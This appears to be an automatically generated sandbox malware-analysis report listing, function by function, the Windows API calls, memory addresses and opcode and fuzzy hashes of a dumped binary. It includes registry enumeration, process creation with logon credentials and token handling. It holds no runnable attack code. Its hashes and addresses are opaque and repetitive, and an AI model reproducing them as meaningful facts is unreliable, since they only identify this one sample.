_strlen.LIBCMT ref: 00EC1F35

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
String ID:
API String ID: 3203458085-0
Opcode ID: 3121f63155ead26c7263f3753fd78bdf712e08a378020649140231948cc7ce3e
Instruction ID: cc916149436749c06c7a3cfef11d72dcdc34042b3a6f29764299b75335333de4
Opcode Fuzzy Hash: 3121f63155ead26c7263f3753fd78bdf712e08a378020649140231948cc7ce3e
Instruction Fuzzy Hash: 95B1C331204340AFC324DF24D885F6AB7E5AF85318F54A98CF4566B2A3CB72ED46CB91

Function 00E45D0A Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00E45D30
GetWindowRect.USER32(?,?), ref: 00E45D71
ScreenToClient.USER32(?,?), ref: 00E45D99
GetClientRect.USER32(?,?), ref: 00E45ED7
GetWindowRect.USER32(?,?), ref: 00E45EF8

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: dd4a675fb4208d651e64e3bd88e8911cfdf4970acac869bda8ef469ce336cb42
Instruction ID: 983f76d339ba2abed68a21bdb3157202d52da9b479051533ea5737851a06988a
Opcode Fuzzy Hash: dd4a675fb4208d651e64e3bd88e8911cfdf4970acac869bda8ef469ce336cb42
Instruction Fuzzy Hash: 6BB17975A0074ADFDB14DFA9D4807EAB7F1FF48314F14A41AE8A9E7290DB34AA41CB50

Function 00E701B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 00E700BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E700D6
__allrem.LIBCMT ref: 00E700ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E7010B
__allrem.LIBCMT ref: 00E70122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E70140

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction ID: f17930a8099cba36ff5f834a769c489e17097516d9d3bf99dea1af598bdd60a9
Opcode Fuzzy Hash: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction Fuzzy Hash: 8A812871B00706DBE724AF68DC41B6B73E9AF41368F24A53EF559F6281E7B0D9008B50

Function 00E761FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00E682D9,00E682D9,?,?,?,00E7644F,00000001,00000001,?), ref: 00E76258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00E7644F,00000001,00000001,?,?,?,?), ref: 00E762DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00E763D8
__freea.LIBCMT ref: 00E763E5

Part of subcall function 00E73820: RtlAllocateHeap.NTDLL(00000000,?,00F11444,?,00E5FDF5,?,?,00E4A976,00000010,00F11440,00E413FC,?,00E413C6,?,00E41129), ref: 00E73852

__freea.LIBCMT ref: 00E763EE
__freea.LIBCMT ref: 00E76413

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 18246aebe001c43b35eeaa7687d007a59f999b4a7f398e88f72ee94894b76a00
Instruction ID: 90ae7889a8b5f0f0e2f1ec6fbc365116a29fa2849fc69243361c20133a57b950
Opcode Fuzzy Hash: 18246aebe001c43b35eeaa7687d007a59f999b4a7f398e88f72ee94894b76a00
Instruction Fuzzy Hash: A8510272600616BFEB258F64DC81EAF77A9EB84758F249229FC09F6150EB34DC44C760

Function 00ECBBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

Part of subcall function 00ECC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00ECB6AE,?,?), ref: 00ECC9B5
Part of subcall function 00ECC998: _wcslen.LIBCMT ref: 00ECC9F1
Part of subcall function 00ECC998: _wcslen.LIBCMT ref: 00ECCA68
Part of subcall function 00ECC998: _wcslen.LIBCMT ref: 00ECCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00ECBCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00ECBD25
RegCloseKey.ADVAPI32(00000000), ref: 00ECBD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00ECBD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00ECBDF3
RegCloseKey.ADVAPI32(?), ref: 00ECBDFF

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: 5ad8a43d5a4b6e74ca0448dc39d0d41a1826792c7b6a2c21aaee8a7b828585cc
Instruction ID: 47eb1c94af0c87e90d23af818d55cfa9468ce928fb1f652e818b50b6ea9e1e11
Opcode Fuzzy Hash: 5ad8a43d5a4b6e74ca0448dc39d0d41a1826792c7b6a2c21aaee8a7b828585cc
Instruction Fuzzy Hash: 9581A230108241AFC714DF24D585E2ABBE5FF84308F14595DF55AAB2A2CB32ED06CB92

Function 00E9F7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 00E9F7B9
SysAllocString.OLEAUT32(00000001), ref: 00E9F860
VariantCopy.OLEAUT32(00E9FA64,00000000), ref: 00E9F889
VariantClear.OLEAUT32(00E9FA64), ref: 00E9F8AD
VariantCopy.OLEAUT32(00E9FA64,00000000), ref: 00E9F8B1
VariantClear.OLEAUT32(?), ref: 00E9F8BB

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: 62059b90202953d415ed9a807059ea7066202e0ccbcaa05ebc5c4b30746c2d52
Instruction ID: 450ec3434c5eb298e56546a3b199cca0c54bc77d5d0353a92994bf83758c2b8b
Opcode Fuzzy Hash: 62059b90202953d415ed9a807059ea7066202e0ccbcaa05ebc5c4b30746c2d52
Instruction Fuzzy Hash: EA51B531600310BACF24ABA5D895B69B3E9EF85324B24A467E905FF296DB70CC40C796

Function 00EB910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 00E47620: _wcslen.LIBCMT ref: 00E47625

Part of subcall function 00E46B57: _wcslen.LIBCMT ref: 00E46B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 00EB94E5
_wcslen.LIBCMT ref: 00EB9506
_wcslen.LIBCMT ref: 00EB952D
GetSaveFileNameW.COMDLG32(00000058), ref: 00EB9585

Strings

X, xrefs: 00EB9412

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: a91fe675bbac640d12ca535232c367dab8715edbb41010c04ac9782b352e177b
Instruction ID: a8b149f197423e1622a18e378fd52fbbdf8282cc479f183d2801d30be547167d
Opcode Fuzzy Hash: a91fe675bbac640d12ca535232c367dab8715edbb41010c04ac9782b352e177b
Instruction Fuzzy Hash: 12E1B0319083008FD724DF24D881AABB7E5FF85314F14996DF999AB2A2DB31DD05CB92

Function 00E5920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00E59BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00E59BB2

BeginPaint.USER32(?,?,?), ref: 00E59241
GetWindowRect.USER32(?,?), ref: 00E592A5
ScreenToClient.USER32(?,?), ref: 00E592C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00E592D3
EndPaint.USER32(?,?,?,?,?), ref: 00E59321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00E971EA

Part of subcall function 00E59339: BeginPath.GDI32(00000000), ref: 00E59357

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: 1d4294e9c280fa81eab6007ceb2fee3f67e1a92403cadfb7d4d0faf6bb3427b0
Instruction ID: 363ff46f6508d0a2aa9bcec269e5d88ed3cf95727aefe36ff468b5f91a2d2ae4
Opcode Fuzzy Hash: 1d4294e9c280fa81eab6007ceb2fee3f67e1a92403cadfb7d4d0faf6bb3427b0
Instruction Fuzzy Hash: B741AD30105201EFDB10DF25DC84FEA7BF8FB55765F140629FAA4A72A2C7309849EB61

Function 00EB07EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00EB080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00EB0847
EnterCriticalSection.KERNEL32(?), ref: 00EB0863
LeaveCriticalSection.KERNEL32(?), ref: 00EB08DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 00EB08F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 00EB0921

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: f925fbb3dc17cbaeaeb6845c23a028787ef6634cb16d980d112670e1b164d6bc
Instruction ID: 919511a540d3421a9d999c9b1631059f5ae623144fd60fbbfea01912a914a7d7
Opcode Fuzzy Hash: f925fbb3dc17cbaeaeb6845c23a028787ef6634cb16d980d112670e1b164d6bc
Instruction Fuzzy Hash: 35417A71900206EFDF14AF54DC85AAB77B8FF44310F1440A9ED04AA2A7DB30EE65DBA0

Function 00ED81DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,00E9F3AB,00000000,?,?,00000000,?,00E9682C,00000004,00000000,00000000), ref: 00ED824C
EnableWindow.USER32(?,00000000), ref: 00ED8272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 00ED82D1
ShowWindow.USER32(?,00000004), ref: 00ED82E5
EnableWindow.USER32(?,00000001), ref: 00ED830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00ED832F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 5af9e2be6c5f94a45134bcf6d52339766a769359a7f7043a88eb9d773b467daf
Instruction ID: a6b0b1a890bb936de5b01c693d9173578348a4f21f391a5632a78022a34eab7e
Opcode Fuzzy Hash: 5af9e2be6c5f94a45134bcf6d52339766a769359a7f7043a88eb9d773b467daf
Instruction Fuzzy Hash: 1D41C634601644EFDB11CF25DE95BE47BF0FB06718F19626AE6586B3B2CB319846CB40

Function 00EA4C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00EA4C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00EA4CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00EA4CEA
_wcslen.LIBCMT ref: 00EA4D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00EA4D10
_wcsstr.LIBVCRUNTIME ref: 00EA4D1A

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: 0b73dc8c52af6fc4eb678a81d14fef68c3675ce84ce031f9c4efbe1f9c8a0924
Instruction ID: faf10d4f2e7820a5b406741725f825797ec148135719de54c3c35dec55a70770
Opcode Fuzzy Hash: 0b73dc8c52af6fc4eb678a81d14fef68c3675ce84ce031f9c4efbe1f9c8a0924
Instruction Fuzzy Hash: 262107B16052017BEB155B39AC0AE7B7BDCDF8A760F10502AF809EE1D1DEA1EC00C2A1

Function 00EB581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 00E43AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00E43A97,?,?,00E42E7F,?,?,?,00000000), ref: 00E43AC2

_wcslen.LIBCMT ref: 00EB587B
CoInitialize.OLE32(00000000), ref: 00EB5995
CoCreateInstance.OLE32(00EDFCF8,00000000,00000001,00EDFB68,?), ref: 00EB59AE
CoUninitialize.OLE32 ref: 00EB59CC

Strings

.lnk, xrefs: 00EB5876, 00EB58C1, 00EB5985

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: cf30eff35cfb344b81d1ca51b5ddf31d0d981713cc1ccf01e2524fdede9dd7e8
Instruction ID: efc111af340f888dc017c464b0ad053b320e9fe2f8cf764c41d62032c8b0cebb
Opcode Fuzzy Hash: cf30eff35cfb344b81d1ca51b5ddf31d0d981713cc1ccf01e2524fdede9dd7e8
Instruction Fuzzy Hash: 0ED16472A087019FC714DF24C480A6BBBE1EF89714F14985DF899AB361DB31EC45CB92

Function 00EA175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA0FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00EA0FCA
Part of subcall function 00EA0FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00EA0FD6
Part of subcall function 00EA0FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00EA0FE5
Part of subcall function 00EA0FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00EA0FEC
Part of subcall function 00EA0FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00EA1002

GetLengthSid.ADVAPI32(?,00000000,00EA1335), ref: 00EA17AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00EA17BA
HeapAlloc.KERNEL32(00000000), ref: 00EA17C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 00EA17DA
GetProcessHeap.KERNEL32(00000000,00000000,00EA1335), ref: 00EA17EE
HeapFree.KERNEL32(00000000), ref: 00EA17F5

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 45b086bf88dcee8625e626b7714ca2d0df3268a492d03d8667c4b993e6b22f59
Instruction ID: a730db22cb49a51665b7ba171a6345e474ba00baf55a3c1d29c21ab1d3978dc5
Opcode Fuzzy Hash: 45b086bf88dcee8625e626b7714ca2d0df3268a492d03d8667c4b993e6b22f59
Instruction Fuzzy Hash: 9611E131506206FFDB108FA4DC48FAE7BB8EB4B359F20605AF441BB150C731A944CB60

Function 00EA14CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00EA14FF
OpenProcessToken.ADVAPI32(00000000), ref: 00EA1506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00EA1515
CloseHandle.KERNEL32(00000004), ref: 00EA1520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00EA154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 00EA1563

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: d281599537196fea392ca71bbfa90361465db7c896bcb64a770b1d4a394fb1f9
Instruction ID: 620e614c07e9cd8a24927c0a678fab361a2a417e3a727b7359f4ee3fe8221be6
Opcode Fuzzy Hash: d281599537196fea392ca71bbfa90361465db7c896bcb64a770b1d4a394fb1f9
Instruction Fuzzy Hash: 1D11897250120AAFDF118FA8ED09BDE3BA9EF49748F144056FA05B60A0C371DE64DB60

Function 00E63382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00E63379,00E62FE5), ref: 00E63390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00E6339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00E633B7
SetLastError.KERNEL32(00000000,?,00E63379,00E62FE5), ref: 00E63409

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 0354e635a859c587f050436e37bae140d1fceb94fb061d8e5a9c7e17787b104f
Instruction ID: e02629d24045e691c59801bcf201368607c2b4cbedd1fa2aec1a85c3f1efa03f
Opcode Fuzzy Hash: 0354e635a859c587f050436e37bae140d1fceb94fb061d8e5a9c7e17787b104f
Instruction Fuzzy Hash: 7E01D4326C9312BEEA252775BC8556B2E94EB157F9720232AF520F12F0EF114E16A584

Function 00E72D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00E75686,00E83CD6,?,00000000,?,00E75B6A,?,?,?,?,?,00E6E6D1,?,00F08A48), ref: 00E72D78
_free.LIBCMT ref: 00E72DAB
_free.LIBCMT ref: 00E72DD3
SetLastError.KERNEL32(00000000,?,?,?,?,00E6E6D1,?,00F08A48,00000010,00E44F4A,?,?,00000000,00E83CD6), ref: 00E72DE0
SetLastError.KERNEL32(00000000,?,?,?,?,00E6E6D1,?,00F08A48,00000010,00E44F4A,?,?,00000000,00E83CD6), ref: 00E72DEC
_abort.LIBCMT ref: 00E72DF2

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
